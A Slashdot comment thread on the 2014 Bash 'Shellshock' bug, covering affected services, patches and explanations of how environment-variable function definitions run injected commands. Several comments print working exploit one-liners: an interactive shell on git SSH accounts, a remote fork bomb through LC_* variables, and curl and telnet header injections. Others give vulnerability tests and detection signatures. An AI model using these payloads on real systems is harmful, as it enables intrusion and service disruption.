    3. Re:environmental? by Anonymous Coward · · Score: 0

      I think this must be the first time I heard anyone refer to it as such.

    4. Re:environmental? by Anonymous Coward · · Score: 0

      in the wild

      As opposed to what?

    5. Re:environmental? by Anonymous Coward · · Score: 0

      bloody greenies cleaning up my enviroment -- BOFH

  18. and in Ubuntu by Anonymous Coward · · Score: 0
    1. Re:and in Ubuntu by Anonymous Coward · · Score: 0

      So now its really only a problem for windows users using cygwin. Silly windows users.

  19. would the "is fixed because i use something else" by rewindustry · · Score: 1

    clowns please pipe down.

    this seems a simple error to actually fix, so why is everybody fapping off about this thing, and not fixing it?

    or did i miss the patch?

    i'm actually hoping for a reply here, sorry if i missed the meeting, otherwise will be applying my own patch, very quickly.

    i rely on bash and it's isms, it's a good thing, and ought to be more of a standard.

  20. http CGI scripts? Did I get stuck in 1996? by Vellmont · · Score: 1


    So far, HTTP requests to CGI scripts have been identified as the major
    attack vector.

    Umm.. who still does that? That sounded wonky, risk-prone, and a hack in the mid 90s. Who's still using CGI scripts to execute shell code?

    --
    AccountKiller
  21. format C: by rewindustry · · Score: 1

    (nt)

  22. Re:Really? Using bash for CGI? by Anonymous Coward · · Score: 0

    Similar theme with 90% of the Perl CGI I run into.

    Probably because they used `...` which spawns a (probably bash) shell with the current environment variables.

  23. Re:Linux is just a full of holes as Windows by armanox · · Score: 1

    Yes, because it's not a Linux hole. GNU Bash is the vulnerable software. So if you have Bash installed, you're vulnerable (I'm about to test the vulnerability myself).

    --
    I'm starting to think GNU is the problem with "GNU/Linux" these days.
  24. git@ shell accounts using gitolite and gitosis by paskie · · Score: 1

    You can get shell on git@ accounts set up with gitolite and gitosis, at least some of their versions will use /bin/bash as the login shell (and only use ~/.ssh/authorized_keys to restrict the commands). One easy way to check whether your git server account is vulnerable:

    ssh git@yourgitserver '() { echo $1; }; /usr/bin/id'

    --
    It's not the fall that kills you. It's the sudden stop at the end. -Douglas Adams
    1. Re:git@ shell accounts using gitolite and gitosis by shitner · · Score: 1

      Even better, if you have an access to git server you can do:
      ssh git@gitserver '() { echo $1; }; /bin/bash'
      and you get an interactive bash session.

  25. wtf by drinkypoo · · Score: 1

    Who does CGI with anything but a restricted shell these days? And should we shoot them now, or after they fix their scripts?

    --
    "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    1. Re:wtf by Anonymous Coward · · Score: 0

      using cgi and not fcgi? WHY?

    2. Re:wtf by iggymanz · · Score: 1

      it affects other things than CGI, remote services that call bash for example: dhcp client being one listed in Redhat's CVE page

  26. so a remote fork bomb is possible? by Killer+Instinct · · Score: 4, Interesting

    VAR=() { ignored; }; : :(){ :|:& };:

    --
    #include bier;
    1. Re:so a remote fork bomb is possible? by multiplexo · · Score: 5, Interesting

      Yes, run this:

      env LC_BOMB='() { :;}; :(){ :|:& };:' ssh some_user@some_system

      And if some_user is using bash and the ssh daemon on the system is configured with AcceptEnv LC_*, which most of them are, you'll end up with an awesome remote fork bomb.

      --
      cheap labor conservatives - they want to keep you hungry enough to be thankful for minimum wage.
    2. Re:so a remote fork bomb is possible? by Anonymous Coward · · Score: 0

      Doesn't the 'ssh some_user@some_system' imply that either the ssh key or passwd for some_user have to compromised or at least complicit in the attack? How is that different from:

      Hey jr sys admin with with sudo...run this:

      ssh jr_sysadmin@some_system 'sudo rm -rf *'

    3. Re:so a remote fork bomb is possible? by rdnetto · · Score: 1

      For that specific case, it does require SSH access.
      However, SSH access is often used for protocols like git, which makes this rather problematic.
      Additionally, the vulnerability is just as effective using the CGI variables via apache.

      --
      Most human behaviour can be explained in terms of identity.
    4. Re: so a remote fork bomb is possible? by Anonymous Coward · · Score: 0

      ulimit -u 30

  27. You just got bashed by acscott · · Score: 1

    The environment bashes you for 99 Hit Points! You are dead.

  28. Re:would the "is fixed because i use something els by Anonymous Coward · · Score: 0

    I hate idiots that start the first sentence of their comment in the title.

  29. You are mistaken. No input processing needed by raymorris · · Score: 3, Informative

    > Someone correct me if I'm mistaken, but doesn't this exploit depend on programs not validating input?

    Suppose you have pwd.cgi, which prints the name of the current directory:

    #!/bin/sh
    echo -e "Content-type: text/plain\n\n"
    pwd

    Notice the script uses no input at all. It is potentially vulnerable. Here's why. Suppose you did want to validate your input. You'd look at the contents of $QUERY_STRING, right? You can find what the user entered in the QUERY_STRING environment variable because bash puts it there. That's the step where the problem lies - bash can EXECUTE the contents of the query string while setting the environment variable. This occurs before the user's script even begins to run.

    1. Re:You are mistaken. No input processing needed by Anonymous Coward · · Score: 0

      To be fair, in this particular case only on systems where /bin/sh is linked to /bin/bash (which includes the Red Hat family but not the Debian family).

    2. Re:You are mistaken. No input processing needed by Anonymous Coward · · Score: 0

      But your example isn't vulnerable because it uses sh not bash.

  30. And in Gentoo by crow · · Score: 2

    app-shells/bash-4.2_p47-r1 is not vulnerable. I just updated.

  31. one-liner df.cgi, uptime.cgi by raymorris · · Score: 1

    Many, many sites have one line scripts like this laying around:

    #!/bin/sh

    echo -e "Content-type: text/plain\n\n"
    df -h

    Or similarly, a script that just runs pwd or uptime.

    1. Re:one-liner df.cgi, uptime.cgi by dfsmith · · Score: 1

      The package man2html (installed by default on my server) had a cgi script starting #!/bin/sh. Urk.

  32. I hope to god you're joking by Anonymous Coward · · Score: 0

    The difference between the best joke and a good joke is that for the best joke, you can't tell. I think you're joking, but just in case: go to Tools => Encoding => UTF-8.

    Posted anonymously to avoid the whoosh jokes.

  33. Re:Really? Using bash for CGI? by Anonymous Coward · · Score: 0

    If you do a system() call in your CGI you're hosed

  34. time to update our computer by ltorvalds11 · · Score: 0

    i hope we get update soon.

  35. yum: Could not find update match for bash by Anonymous Coward · · Score: 0

    Setting up Update Process
    Setting up repositories
    dag 100% 1.9 kB 00:00
    update 100% 951 B 00:00
    rpmforge 100% 1.9 kB 00:00
    base 100% 1.1 kB 00:00
    addons 100% 951 B 00:00
    extras 100% 1.1 kB 00:00
    Reading repository metadata in from local files
    Excluding Packages in global exclude list
    Finished
    Could not find update match for bash

    Now what?
    Any other known work-around?
    Any RPM for CentOS ?

    1. Re:yum: Could not find update match for bash by sosume · · Score: 3, Informative

      sudo mv /bin/bash /bin/woosh

    2. Re:yum: Could not find update match for bash by Anonymous Coward · · Score: 1

      check your updates repository to make it is enabled and a CentOS official repo.
      Even though it often isn't set to enabled, oddly when I put enabled=1 in my .repo file for it, the update was found.

    3. Re: yum: Could not find update match for bash by Anonymous Coward · · Score: 0

      yum clean all
      yum update bash
      done.

  36. Not arbitrary variables - QUERY_STRING by raymorris · · Score: 5, Informative

    > Oh I had the same thought....I mean, by the time an "attacker" is modifying arbitrary environment variables in your process, well...you are already pretty compromised. If you wrote your CGI, then you are the one that compromised yourself.

    The contents of the CGI script don't matter. The exploit occurs before the script runs. It happens as bash is setting up the environment in which the script will be run.

    Suppose you have pwd.cgi, which prints the name of the current directory:

    #!/bin/sh
    echo -e "Content-type: text/plain\n\n"
    pwd

    Notice the script uses no input at all. It is potentially vulnerable. Here's why. Suppose you did want to validate your input. You'd look at the contents of $QUERY_STRING, right? You can find what the user entered in the QUERY_STRING environment variable because bash puts it there. That's the step where the problem lies - bash can EXECUTE the contents of the query string while setting the environment variable. This occurs before the user's script even begins to run.

    1. Re:Not arbitrary variables - QUERY_STRING by DahGhostfacedFiddlah · · Score: 1

      Thank You, raymorris. I'd read most of the thread and still didn't have a clear idea of the problem.

    2. Re:Not arbitrary variables - QUERY_STRING by menkhaura · · Score: 4, Informative

      Setup a local cgi script on your Linux machine. Telnet into its port 80. Assuming your cgi script is at /cgi-bin/test.sh, type the following in the telnet prompt:


      GET /cgi-bin/um.pl HTTP/1.1
      Host: localhost
      Custom: () { :; }; while read -r l; do echo $l; done

      Press ENTER twice after the last header.

      If you don't use a shell builtin, the shell ends with a segfault and Apache shows an error, but the command is executed server-side. Scary.

      --
      Stupidity is an equal opportunity striker.
      Fellow slashdotter Bill Dog
    3. Re:Not arbitrary variables - QUERY_STRING by menkhaura · · Score: 1

      Of course, replace um.pl with test.sh; whatever, you get the gist.

      --
      Stupidity is an equal opportunity striker.
      Fellow slashdotter Bill Dog
    4. Re:Not arbitrary variables - QUERY_STRING by Anonymous Coward · · Score: 0

      Even worse. The ubiquitous thttp also is affected although it doesn't process custom headers. But you still can use the User-Agent to inject code.

      curl "http://site/script.cgi" --header "User-Agent: () { :; }; echo p0wned>p0wned;"

  37. PHP users. by Anonymous Coward · · Score: 0

    This is going to wreck absolute havoc on those of us stuck in PHP hell. A very common shared hosting solution is suphp + fcgid, which is vulnerable. A very common load balancing technique is to put varnish + nginx on a front server and php workers behind it in CGI (php-fpm). If any of the workers are exposed to the internet, then they are vulnerable. I'm not sure, but looking at the sample exploit in the oss security list it looks like one can pass tainted requests through the load balancer to the workers, since it looks like you can trigger this with GET query parameters.

    1. Re:PHP users. by wimg · · Score: 1

      php-fpm uses the fastcgi protocol, which is not the same as cgi and therefor not vulnerable.

  38. Re:Really? Using bash for CGI? by MSG · · Score: 1

    From the CVE, I'm pretty sure the problem isn't limited to CGI written in Bash. The problem affects any CGI that *calls* bash, which means any call to system() in any language is going to cause a problem.

  39. Re:would the "is fixed because i use something els by Anonymous Coward · · Score: 0

    The patch came out today on Debian-based distros. Just check for updates.

    Fwiw, I had checked for updates a few hours before this story, so I thought I had missed something too, but the patch was sitting there waiting for me when I checked.

  40. tcsh by Anonymous Coward · · Score: 0

    I knew there was a reason I stuck with tcsh instead of sh/bash.

  41. Got the bash update this mawning for my Debian... by antdude · · Score: 1

    $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
    bash: warning: x: ignoring function definition attempt
    bash: error importing function definition for `x'
    this is a test

    $ bash --version
    bash --version
    GNU bash, version 4.2.37(1)-release (x86_64-pc-linux-gnu)
    This is from my Debian stable box.

    Is that good or bad? :O

    --
    Ant(Dude) @ Quality Foraged Links (AQFL.net) & The Ant Farm (antfarm.ma.cx / antfarm.home.dhs.org).
  42. Remote exploit when it cant be exploited remotely? by Anonymous Coward · · Score: 0

    My understanding is that it required another vector to give it remote capability. Then the exploit is really LOCAL so its NOT a remote exploit of bash. Its a remote exploit of a system running bash and that is not the same thing.

  43. It was posted long before raymorris by Anonymous Coward · · Score: 0

    By lgw here http://linux.slashdot.org/comm... and it's from the article's it was quoted from. You're giving credit to raymorris when it's not due him.

  44. Actually, no, apk by raymorris · · Score: 1

    Actually no, that comment does not explain either of the two key points, a) it happens before script is executed and most importantly b) it therefore is independent of the content of the script.

    Nice try though, apk.

  45. Worse than you think. by slimjim8094 · · Score: 5, Interesting

    Almost *ANY* CGI is vulnerable, because the way CGI works is by environment variables. And the attacker can control them. You don't have to be doing anything stupid or wrong to be affected. It looks like other ways of executing web applications (e.g., mod_php) are safe - to the extent that they don't use a popen or a system() or something, which is a pretty common thing to do.

    Your DHCP client (on a Linux) machine passes data to its hooks via environment variables. These can be set by the attacker. Even better, it's running as root. Boom, connect to a rogue AP and get rooted while receiving an address assignment.

    You probably do Git commits via a (locked-down) SSH login. That's compromised.

    Shells are everywhere. Again, this doesn't require your application to have screwed up. This is a flaw in how environment variables are parsed and set, which is something that was presumed safe, so nobody thought about it. Bad bad bad bad. Not Heartbleed bad, but close.

    --
    I have developed a truly marvelous proof of this comment, which this signature is too narrow to contain.
    1. Re:Worse than you think. by Anonymous Coward · · Score: 0

      Not Heartbleed bad, but close.

      If by "close" you meant "far worse," then yes you're right.

    2. Re:Worse than you think. by Anonymous Coward · · Score: 0

      Personally I think this is even worse. Where heartbleed leaked memory contents, like potential passwords etc., this allows remote code execution and is a no brainer. The amount of root or has-enough-privs-to-do-nasty processes exposed to the net calling system(), wrapped in shell or such is appreciable.

    3. Re:Worse than you think. by Mirar · · Score: 1

      How do android/ios run DHCP?

      How do cheap all-in-one ADSL modems run DHCP?

      I think that will tell us how bad this is. That's where the worms will live.

    4. Re:Worse than you think. by EXrider · · Score: 1

      Ew that's bad, I also just confirmed that Mac OS X and iOS's DHCP client process (configd) runs as root as well.

      --
      grep -iw skynet /etc/services
    5. Re:Worse than you think. by EXrider · · Score: 1
      --
      grep -iw skynet /etc/services
    6. Re:Worse than you think. by EXrider · · Score: 1

      As it turns out, configd doesn't make any calls to Bash, so OS X and iOS are safe from DHCP exploits in this case. Also noteworthy, relatively ancient versions of OS X and BSD also don't default to the Bash shell.

      http://complexitydaemon.wordpress.com/2014/09/26/bash-os-x-dhcp-and-you/

      --
      grep -iw skynet /etc/services
  46. Re:Remote exploit when it cant be exploited remote by Megane · · Score: 2

    Sure, but anything remote that can set up environment variables before starting bash can exploit it. Lots of idiot programmers like to blindly shell out to do stuff even when there's a simple library function to do things, such as unlink("$path") vs. system("rm $path"). And environment variables have this pesky habit of sticking around when you do that. Environment variables are commonly used with CGI, which is also commonly used with idiot programmers. So while it may be a "local" exploit, that's with unusually large values of "local".

    --
    #naabhaprzrag, #sverubfr-000, #agi-fcbafberq, negvpyr[pynff*=' negvpyr-ary-'] { qvfcynl: abar !vzcbegnag; }
  47. Mostly a CGI issue? by Anonymous Coward · · Score: 0

    I guess this is a larger issue for CGI because I fail to see how this is exploited through ssh. Most ssh servers pass the TERM variable so I tried the following.

    TERM='() { echo ''; }; /bin/touch /home/security_test' ssh localhost
    TERM='() { echo ''; }; /bin/touch /etc/security_test' ssh localhost

    The file in my home directory was owned by myself so touch was executed under my own permissions and so the second test failed as expected. Now, I guess if you have really bad user permissions setup you could imagine a way where a user can circumvent a login shell lockout.

    Now for CGI the server normally runs as a daemon user, but if your dumb enough to run it as root this could be really bad. Even as a daemon user like httpd or apache you have just given users access to delete your entire web root so that is really problematic. But, at the point that your executing random subsell strings typed in by the user with out sanitation you kind of deserve to get bashed anyways.

    Can anyone think of a better use case where proper security measures still lead to a wide open security flaw due to this bug?

    1. Re:Mostly a CGI issue? by kthreadd · · Score: 1

      It's a big issue if you're using locked-down ssh, for example in a git server.

    2. Re:Mostly a CGI issue? by Anonymous Coward · · Score: 0

      I guess if you have really bad user permissions setup

      Or you're using SSH for git repository hosting using a shared account.

  48. already patched in debian/ubuntu by LocutusOfBorg1 · · Score: 1

    Debian and ubuntu have been patched by the security team 4 hours ago (more or less when this article has been written).

    1. Re:already patched in debian/ubuntu by Mike+Frett · · Score: 1

      Yeah this is FIXED already people. It's a non-issue.

    2. Re:already patched in debian/ubuntu by Mirar · · Score: 1

      It's not FIXED in countless of devices (phones, modems, routers) that will not receive an update.

  49. My explanation by spitzak · · Score: 1

    This is bad. The reason is lots of things that use bash put unchecked data into environment variables.

    As an example, imagine some cgi wants to test is a string is valid, and somebody wrote a clever bash script that does this check, and reads the string by looking in $INPUT. The cgi takes whatever the user typed on their web form, does setenv("INPUT", text) and then runs the bash script, which uses "$INPUT" at places it wants the text.

    No matter how carefully written the bash script is, if the user can type "() { :;}; exploit" into the text field, it will run "exploit". There is no reason for the cgi to test for any syntax errors because that is the job of the bash script!

    It seems hard to believe such a bug is possible. It appears that when setting an environment variable, if it is a function, it runs some code that splits the text at semicolons, puts the first section in the environment variable, then runs the rest as shell input! But I can't figure out any reason such code exists. I thought at first it was pasting "export " on the start of the environment line and executing that using the interpreter, but tests show that does not work because it splits at the spaces. And if you add quoting to fix that then it also fixes the semicolon. And it obviously examined the environment variable to see if is a function, because semicolons in non-function ones are handled correctly. So I think bash code might be quite a mess for such a bug to be possible without much more obvious bugs happening...

    1. Re:My explanation by spitzak · · Score: 2

      Well I don't know much bash, so I figured out why this is happening, though it still seems unbelievable.

      Apparently the normal way to define a function is to write "x() {...}". But it stores it in an environment variable for some reason, I think so that a recursively called bash gets the same function definition.

      To support that, on startup it scans the environment for variables starting with "() {" (spacing must be exactly that). It then defines the function by pasting the variable name onto the start of the variable and interpreting that. And the interpreter splits at the semicolons and executes the remaining text as commands, leading to this bug.

      The whole thing looks pretty messy. Certainly it should have been possible to call some lower-level function *after* the interpreter has figured out it is defining a function, and that one would barf on the semicolon. Also you get this interesting and misleading effect:

            $ export x='() { echo WORKS;}'
            $ x
            x: command not found
            $ bash -c x
            WORKS

      Their solution is rather annoying because you now cannot set environment variables to all possible byte strings. That sucks. They should have left the environment variable set to the text and not defined the function.

    2. Re:My explanation by k6mfw · · Score: 1

      I don't know bash either (been dabbling on learning to code), I see this headline thinking, "looks like I picked the wrong week to learn about bash."

      --
      mfwright@batnet.com
    3. Re:My explanation by Anonymous Coward · · Score: 0

      I wonder how many scripts will break if say "test" is redefined this way. *Shudder*

    4. Re:My explanation by countach · · Score: 1

      The whole idea that any and every environment variable can contain runnable code which would automatically be loaded was pure insanity on somebody's part.

  50. Re:Got the bash update this mawning for my Debian. by kthreadd · · Score: 1

    That's good. The version number means nothing since Debian backported the fix rather than upgrading bash completely, but the check above didn't say vulnerable so you're clear.

  51. Fedora 21 results by Anonymous Coward · · Score: 0

    F21 alpha boot.iso release was vulnerable reporting:

    vulnerable
    this is a test

    after yum updqate to bash.x86_64 0:4.3.22-3.fc21

    bash: warning: x: ignoring function definition attempt
    bash: error importing function definition for `x'
    this is a test

  52. Re:Really? Using bash for CGI? by Anonymous Coward · · Score: 0

    If you write network facing code, you _always_ clean your environment before calling system() or any similar calls. Properly written CGI scripts are not vulnerable. On the other hand, there's a lot of CGI crap out there ...

  53. Re:Got the bash update this mawning for my Debian. by antdude · · Score: 1

    Thank you, sir. Good job to Debian team on releasing the fix!

    --
    Ant(Dude) @ Quality Foraged Links (AQFL.net) & The Ant Farm (antfarm.ma.cx / antfarm.home.dhs.org).
  54. but linux... by Anonymous Coward · · Score: 0

    ...is supposed to be secure....unlike windows.

    1. Re:but linux... by Anonymous Coward · · Score: 0

      Linux is fine. This is bash. Bash runs on Mac and Windows via cygwin.

  55. sudo aptitude safe-upgrade by mrflash818 · · Score: 1

    sudo aptitude update;
    sudo aptitude safe-upgrade;

    done.

    --
    Uh, Linux geek since 1999.
  56. Re: Full Disclosure can be found on oss-security.. by Anonymous Coward · · Score: 0

    cgi scripts or binaries are remote vulnerable.

  57. When was this bash bug introduced? by Anonymous Coward · · Score: 0

    I have a CentOS build from April 2011 and it seems to be immune to the attack. When was the faulty code added and and by who?

    1. Re:When was this bash bug introduced? by kthreadd · · Score: 1

      It's been in there since Bash 1.4.

  58. Clickbaited fools by Anonymous Coward · · Score: 0

    If you bother to read the referenced article you'd notice For the stable distribution (wheezy), this problem has been fixed in
    version 4.2+dfsg-0.1+deb7u1.
    . Yawn.

  59. I am wrong but... by EmperorOfCanada · · Score: 1

    Am I wrong but that this exploit only works if you are running CGI scripts? Am I also wrong in thinking that if you are running PHP as an Apache Mod that this exploit doesn't work unless you are executing command line stuff?

    Also the SSH aspect seems to be more of a privilege problem whereby someone has to have a valid ssh account before they can start hacking?

    I am going to go out on a limb and say, if you are using CGI you are a dumbass and if you give anyone who you can't trust with ssh then you are also a dumbass. I don't think that I have configured a CGI serving machine since last millennia (literally).

    1. Re:I am wrong but... by HJED · · Score: 1

      Anything that uses bash is exploitable, another example of this being used is to gain root through the dhcp client...

      --
      null
    2. Re:I am wrong but... by Xylantiel · · Score: 1

      I think the problem is than any large PHP application is likely to execute something with a shell at some point. Any point is enough. This may slow down exploits, since you have to hunt for the corner case that executes a shell, but not much.

    3. Re:I am wrong but... by Ankh · · Score: 1

      Any program that's called via the CGI interface, regardless of programming language, is potentially vulnerable to this attack, because the Web server puts the environment variables in the process' environment and they'll inherit to sub-processes.

      The ssh exploit can be ued to escalate privileges e.g. when used in a limited account such as github or remote CVS or backup.

      DHCP is also vulnerable (remotely).

      I don't think calling people names is helpful. Anything called via the CGI API is potentially vulnerable, as is anything that passes on environment variables or HTTP headers to sub-processes, regardless of what language was used to write those programs.

      --
      Live barefoot!
      free engravings/woodcuts
  60. /usr/bin/quisuis-je by tepples · · Score: 1

    Would something like this work? "avoir && ln -s /usr/bin/whoami /usr/bin/quisuis-je && quisuis-je"

    1. Re:/usr/bin/quisuis-je by BlackPignouf · · Score: 1

      It's been corrected since, but yes, it would have worked.

  61. Detailed info from RedHat by Beeftopia · · Score: 3, Informative
  62. Re:Really? Using bash for CGI? by Anonymous Coward · · Score: 0

    Remember the HTTP_* variables set by the web server that calls the cgi program? Yep, you got it. Yes, they're a viable vector.

  63. Re:Really? Using bash for CGI? by Anonymous Coward · · Score: 0

    Also many many other programming languages, C, perl, etc. over call another programs, such as 'ping', 'nslookup' via bash. Basically because they don't want to re-implement things already done!

  64. Not just Linux by Anonymous Coward · · Score: 0

    Not just Linux, but all UNIX with the affected bash. BSD, Solaris, MacOSX, etc. Probably even Windoze if you have Cygwin installed??

  65. And a follow-up related unfixed bug in bash by paskie · · Score: 1

    I'm sorry, I've meant to link to http://seclists.org/oss-sec/20... (you may want to walk the thread up a bit) and https://bugzilla.redhat.com/sh...

    --
    It's not the fall that kills you. It's the sudden stop at the end. -Douglas Adams
  66. Only underscores the point by petrus4 · · Score: 1

    While bash is by far my favourite UNIX shell, I've seen various bits of evidence that have indicated a need for major refactoring, for quite a while now. I would look into it myself, but there is always the risk that whatever changes I proposed would be rejected. Perhaps I should think about creating a fork, although that would be a lot of work.

    1. Re:Only underscores the point by countach · · Score: 1

      Well, the basic idea of bash, sh, or a unix shell is rather crufty. /bin/sh was already crufty what with its weird quoting rules and so forth before bash added all its extensions.

      Nobody's really invented something yet as just damned convenient as /bin/sh, but I wish they would.

  67. Sagan log analysis engine detection: by Anonymous Coward · · Score: 0

    We've created the first batch of Sagan (log analysis engine - http://sagan.io) signatures to detect this. This monitor bash history and Apache logs for attempts. More information can be found at:

    https://groups.google.com/forum/#!topic/sagan-users/Z8GEj20b0K4

    Apache:

    alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORT (msg:"[APACHE] Remote execution attempt via CVE-2014-6271"; content:"|28 29| { |3a 3b|}"; program: apache|httpd; classtype: exploit-attempt; flowbits: set, exploit_attempt, 86400; parse_src_ip: 1; fwsam: src, 1 day; reference: url,wiki.quadrantsec.com/bin/view/Main/5002180; reference: url,web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271; sid:5002180; rev:3;)

    Bash:

    alert syslog $EXTERNAL_NET any -> $HOME_NET any (msg:"[BASH] Remote execution attempt via CVE-2014-6271"; content:"|28 29| { |3a 3b|}"; content: "HISTORY"; program: bash|-bash; classtype: exploit-attempt; flowbits: set, exploit_attempt, 86400; reference: url,wiki.quadrantsec.com/bin/view/Main/5002179; reference: url,web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271; sid:5002179; rev:1;)

  68. Re:Remote exploit when it cant be exploited remote by Anonymous Coward · · Score: 0

    That is because the higher level commands over to more error checking and handle more exceptional conditions that the low level library calls! It makes sense to use a higher level function that (gets improved with time) than to use the low level function that you need to 'maintain' when problems and exceptions arise.

    This is the same reason why people use 'co-processing using a command like "mysql" instead of using a mysql API library.
    1/ if the library updates, you need to recompile things, where commands are often more stable, and backward compatible.
    2/ the command does the error checking.
    3/ you typically only need to do minor lookups and not full blown database modifications
    4/ you don't need to be an 'expert' (DBA) to use the simplier command.

  69. Re:Linux is just a full of holes as Windows by runningduck · · Score: 1

    Just having Bash installed does not make a system vulnerable. In order for the system to be vulnerable you also need to provide a method for a remote party to pass an environment string to the Bash shell. This would typically be handled via CGI when the web server hands GET and POST data via an environment variable to a Bash script. I do not believe Apache call to Bash for launching a Perl based CGI script so the global attack surface should be pretty small. I do not think I have seen a Bash CGI script since the 90's.

    --
    -rd
  70. Re: Full Disclosure can be found on oss-security.. by gweihir · · Score: 1

    No.

    --
    Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
  71. As I was reading this... by Anonymous Coward · · Score: 0

    I ran the two test scripts, and one said 'busted'. Then I ran apt-get update;apt-get upgrade (ubuntu), and then re-ran the scripts. And now instead of saying busted, it says: warning: X: ignoring function definition attempt, and error importing function definition for `X'.
    So I was vulnerable for a few minutes, and now not.

  72. Re:Really? Using bash for CGI? by Anonymous Coward · · Score: 0

    Hello time traveller... you are welcome in my time, or any time for that matter...

    (bash cgi's? what is this? 1996?)

  73. Remote? by Anonymous Coward · · Score: 0

    Don't you also need to have a possibility for someone to inject Bash functions and run their environment definition?

    Which systems let remote users do that?

  74. Really? Using bash for CGI? by Anonymous Coward · · Score: 0

    Umm, no. Lots of CGI scripts of any denomination will spawn shells to run shit. Doesn't matter what you write it in if you spawn off any subshells and happen to be using bash.

  75. ...what is exploitable? by Anonymous Coward · · Score: 0

    Does this mean that you can attack over say DHCP/dhclient? Can I root my android phone using this?

  76. Re:Really? Using bash for CGI? by Anonymous Coward · · Score: 0

    Only if the language allows you to set environment variables to arbitrary values.

  77. Remote? Vulnerability? by Anonymous Coward · · Score: 0

    How can you have a remote vulnerability in something that doesn't listen on the net in the first place?

    As for using shell scripts for CGI - yeah, we did that 15 years ago, and we knew back then that it was a stupid thing to do, because writing a secure shell script is virtually impossible. Just one variable that isn't perfectly quoted, and script injection becomes easy. If you're still doing that, that's your remote vulnerability, not bash itself.

    So, how about a local privilege escalation exploit? Nope, bash is not setuid (if it is, you've got bigger problems), so this cannot give users access to anything that their own user id doesn't already have access to. Any modern unix ignores the setuid bit for shell scripts and su and sudo set up a new environment before calling anything. If you have anything that give elevated access to a shell script without doing the same, that's your problem. Just like the bash as cgi above, if you do that you already have problems without this bug.

    I fail to see the vulnerability. People who are already doing something stupid with bash now have 101 problems where before they only had 100, but why would they care more about this problem than the rest? I'm not going to worry, I'm sure I'll get an update in a few days when the bug has been fixed for real, but as it's not a bug I've ever hit, and no way it's going to affect my security, I will take no further action.

    1. Re:Remote? Vulnerability? by ray-auch · · Score: 1

      Two words - dhcp client. Think how it works on Linux.

    2. Re:Remote? Vulnerability? by Anonymous Coward · · Score: 0

      First of all: Which dhcp client? There are at least three dhcp clients on Linux, and I think systemd comes with a fourth one.

      Second, dhcp stays on the local LAN. That can still be a problem for laptops, but not nearly as high risk as an over the internet remote exploit. As for your important servers, they are not running DHCP client, are they? If they are, when is the last time you tried booting the entire server room? Will the next UPS malfunction result in the DNS server not having an IP address, because the DHCP server hasn't booted yet, and the DHCP service not being able to start because it can't contact the DNS server?

    3. Re:Remote? Vulnerability? by ray-auch · · Score: 1

      dhclient and dhclient-script

      and yes, the target machines in that case would be laptops and mobile devices.

      For servers, I have read elsewhere that cPanel at least is vulnerable. Not many servers using that, right ?

    4. Re:Remote? Vulnerability? by Ankh · · Score: 1

      That you don't understand it doesn't mean it's not real.

      Some people run a program called a "Web server" which listens on a network and runs programs based on requests it receives :-)

      It's not about using bash for CGI scripts, although that's an obvious example. Some people use languages like Perl or python or even php (in CGI mode), or C, or Pascal, and all of those programs can be affected too, because they might use something like systm() or `...` or run an external program that in turn calls the shell, directly or indirectly.

      Other services are also affected - ssh, dhcp, remote git, potentially even ftp and email although that seems less likely.

      --
      Live barefoot!
      free engravings/woodcuts
  78. Who in their right mind ... by AftanGustur · · Score: 1
    ... is using bash scripts to generate web content in 2014?

    Look, there is a bug, obviously, but to say that it is "remotely exploitable" is a half-truth, and that it is "on level with or worse than heartbleed" is nonsense.

    There are a lot of things that need to "line up" in order for this to be remotely exploitable.

    --
    echo '[q]sa[ln0=aln80~Psnlbx]16isb572CCB9AE9DB03273snlbxq' |dc
    1. Re:Who in their right mind ... by countach · · Score: 1

      All that needs to line up is that there be cgi based bash scripts, which admittedly not everyone has, but plenty of people (for some strange reason) do have. You are underplaying this.

  79. Not vulnerable by Aethedor · · Score: 1

    It seems that the Hiawatha webserver is not vulnerable for this exploit, because it doesn't URL decode environment variables. Wise decision (CGI's seem to work fine without it) or just luck? Is there a standard which says that CGI environment variables should be URL decoded?

    --
    It doesn't have to be like this. All we need to do is make sure we keep talking.
    1. Re:Not vulnerable by Aethedor · · Score: 1

      Never mind my previous post. The weblog article has been changed, so the claim of not being vulnerable seems to be false.

      --
      It doesn't have to be like this. All we need to do is make sure we keep talking.
  80. ksh also vulnerable? by Anonymous Coward · · Score: 0

    % ksh
    $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
    vulnerable
    this is a test
    $ echo $KSH_VERSION
    @(#)PD KSH v5.2.14 99/07/13.2

    1. Re:ksh also vulnerable? by kthreadd · · Score: 1

      Take a look again at the command you just ran. You're still invoking bash.

  81. Re:Really? Using bash for CGI? by Anonymous Coward · · Score: 0

    Any cgi that calls bash with user-supplied arguments, right? Not an expert on this, but I would think you would be very careful allowing anything remotely user-supplied into a system() call.

  82. Re:Really? Using bash for CGI? by Anonymous Coward · · Score: 0

    A system() call calls /bin/sh by default; /bin/sh might not be bash.

    Also, a non-string argument to system bypasses the shell completely in many programming languages. Try system('/bin/echo', '$SHELL') in Perl for example.

  83. Re:Really? Using bash for CGI? by ArsenneLupin · · Score: 2

    The problem affects any CGI that *calls* bash, which means any call to system() in any language is going to cause a problem.

    Nowadays, on most systems, /bin/sh is a proper Bourne Shell (either ash or dash), and no longer bash. So system() should no longer be an issue, but explicitly calling bash still would be...

  84. Re:Linux is just a full of holes as Windows by armanox · · Score: 1

    I was explaining it to someone (co worker) yesterday as the vulnerability is there, but there needs to be an attack vector open as well. My demo to him was on an SGI system running IRIX - Bash was vulnerable, but without AccetEnv in SSH being enabled or something like Apache CGI the exploit can't be used.

    --
    I'm starting to think GNU is the problem with "GNU/Linux" these days.
  85. Two reactions by return+42 · · Score: 1

    Earlier this week, there was much cursing in Ft. Meade. Today, there is much cackling in Calgary.

  86. some information by Anonymous Coward · · Score: 0

    A blog (a truncation of the expression web log) is a discussion or informational site published on the World Wide Web and consisting of discrete entries ("posts") typically displayed in reverse chronological order (the most recent post appears first).

    wietlówki led
    Monitoring Pojazdów
    sprawozdanie finansowe
    System ERP
    przepywy pienine
    NAVISION consolidation

  87. CentOS 6.5 already has fixed package available by Anonymous Coward · · Score: 0

    That would work so long as your yum repos weren't already pwned ...

